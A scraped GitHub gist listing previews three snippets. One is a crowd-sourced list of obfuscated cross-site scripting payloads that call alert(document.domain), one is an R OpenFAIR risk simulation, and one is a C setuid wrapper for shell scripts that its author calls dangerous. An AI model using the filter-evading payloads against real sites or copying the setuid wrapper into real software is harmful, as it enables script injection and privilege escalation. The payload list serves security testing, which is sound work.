Skip to content

Instantly share code, notes, and snippets.

@tomnomnom
tomnomnom / alert.js
Last active October 25, 2025 05:02
Ways to alert(document.domain)
// How many ways can you alert(document.domain)?
// Comment with more ways and I'll add them :)
// I already know about the JSFuck way, but it's too long to add (:
// Direct invocation
alert(document.domain);
(alert)(document.domain);
al\u0065rt(document.domain);
al\u{65}rt(document.domain);
window['alert'](document.domain);
@davidski
davidski / openFairSim.R
Last active October 3, 2022 07:02
Sample OpenFAIR model
# for *pert functons
library('mc2d')
# given the number of loss events, calculate the sum of losses for the number of events
sample_LM <- function(N, L, ML, H, CONF){
# Calculate the aggregate loss
#
# ARGS:
# N - number of threat events to evaluate
# L - low boundary
@jblyberg
jblyberg / suid-wrapper.c
Created October 16, 2012 14:29
A very small C wrapper for running shell scripts suid. Pretty dangerous, but handy.
#include <unistd.h>
#include <errno.h>
main( int argc, char ** argv, char ** envp )
{
if( setgid(getegid()) ) perror( "setgid" );
if( setuid(geteuid()) ) perror( "setuid" );
envp = 0; /* blocks IFS attack on non-bash shells */
system( "/path/to/bash/script", argv, envp );
perror( argv[0] );